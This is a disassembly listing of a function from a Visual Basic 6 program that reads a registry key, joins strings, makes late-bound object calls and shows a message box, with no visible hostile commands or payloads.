call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
mov edx, eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402c10
call esi
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0xc0]
push eax
push ecx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xc0], 0x8002
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
test ax, ax
je 0x40d206
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov edx, 0x404d24
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x104], eax
call edi
lea edx, [ebp - 0x104]
lea eax, [ebp - 0x48]
push edx
push 0xffffffffffffffff
push eax
call fcn.004068f0
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
push 0x40d60b
jmp 0x40d5ea
mov edx, 0x402dec
mov ecx, 0x40f048
call edi
mov edx, dword [ebp - 0x18]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
lea ecx, [ebp - 0x1c]
push ecx
push 0x20019
push ebx
push 0x403134
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x40433c
call edi
mov edx, eax
lea ecx, [ebp - 0x4c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
call esi
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x4c]
push ecx
lea eax, [ebp - 0x48]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
mov edx, dword [ebp - 0x1c]
add esp, 0x10
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb8], 0x40f048
push ecx
push 0x404374
push edx
mov dword [ebp - 0xc0], 0x4008
call fcn.00406220
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00402c10
call esi
mov ecx, dword [0x40f048]
push ecx
push 0x404d94
call edi
mov edx, dword [0x40f048]
mov esi, 8
push edx
push 0x404de0
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x60], esi
call edi
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
sub esp, 0x10
mov dword [ebp - 0x68], eax
mov eax, esp
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
push 1
push 0x404dc4
mov dword [eax], ecx
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x70], esi
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x54]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x80]
mov dword [eax + 0xc], edx
lea eax, [ebp - 0x44]
push eax
push ecx
call edi
add esp, 0x20
mov ecx, dword [ebp - 0x6c]
push eax
mov eax, dword [ebp - 0x70]
sub esp, 0x10
mov edx, esp
push 1
push 0x404dc4
mov dword [edx], eax
mov eax, dword [ebp - 0x68]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [edx + 8], eax
lea eax, [ebp - 0x90]
mov dword [edx + 0xc], ecx
lea edx, [ebp - 0x44]
push edx
push eax
call edi
add esp, 0x20
lea ecx, [ebp - 0xa0]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarAnd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov di, ax
lea edx, [ebp - 0x90]
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x70]
push eax
lea edx, [ebp - 0x60]
push ecx
push edx
push 4
call esi
add esp, 0x14
cmp di, bx
je 0x40d469
mov edx, 0x4038e4
mov ecx, 0x40f04c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edi, 0xa
lea eax, [ebp - 0x60]
push edi
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov eax, 0x80020004
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x88], eax
mov eax, 8
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xd0], eax
lea edx, [ebp - 0xa0]
push ecx
lea eax, [ebp - 0x90]
push edx
push eax
lea ecx, [ebp - 0xc0]
push 0x30
lea edx, [ebp - 0x60]
push ecx
lea eax, [ebp - 0x70]
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xa0], edi
mov dword [ebp - 0x90], edi
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push edx
push eax
mov dword [ebp - 0xb8], 0x404e04
mov dword [ebp - 0xc8], 0x404e6c
call edi
lea ecx, [ebp - 0xd0]
push eax
lea edx, [ebp - 0x80]
push ecx
push edx
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMsgBox]
mov ecx, eax
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0xa0]
push eax
lea edx, [ebp - 0x90]
push ecx
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x70]
push eax
lea edx, [ebp - 0x60]
push ecx
push edx
push 6
call esi
add esp, 0x1c
jmp 0x40d479
mov edx, 0x403ea4
mov ecx, 0x40f04c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0xc0]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 0x8002
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstGt]
test ax, ax
je 0x40d584
cmp dword [0x40f010], ebx
jne 0x40d4bf
push 0x40f010
push 0x4021b0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
sub esp, 0x10
mov ecx, 0xa
mov edi, esp
mov dword [ebp - 0xd0], ecx
mov eax, 0x80020004
sub esp, 0x10
mov dword [edi], ecx
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xc8], eax
mov esi, dword [0x40f010]
mov dword [edi + 4], ecx
mov dword [ebp - 0xc0], 3
mov ecx, esp
mov dword [ebp - 0xb8], 1
mov dword [edi + 8], eax
mov eax, dword [ebp - 0xc4]
mov edx, dword [esi]
push esi
mov dword [edi + 0xc], eax
mov eax, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0xb8]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xb4]
mov dword [ecx + 0xc], eax
call dword [edx + 0x2b0]
cmp eax, ebx
fnclex
jge 0x40d554
push 0x2b0
push 0x4029a4
push esi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
lea ecx, [ebp - 0x60]
push 0x40f028
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarNot]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
test ax, ax
je 0x40d5a2
mov edx, dword [0x40f024]
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x48]
push edx
jmp 0x40d594
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x48]
push eax
call fcn.0040ad60
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
push 0x40d60b
jmp 0x40d5ea
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x18]
call esi
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
lea ecx, [ebp - 0x2c]
call edi
lea ecx, [ebp - 0x30]
call esi
lea ecx, [ebp - 0x44]
call edi
ret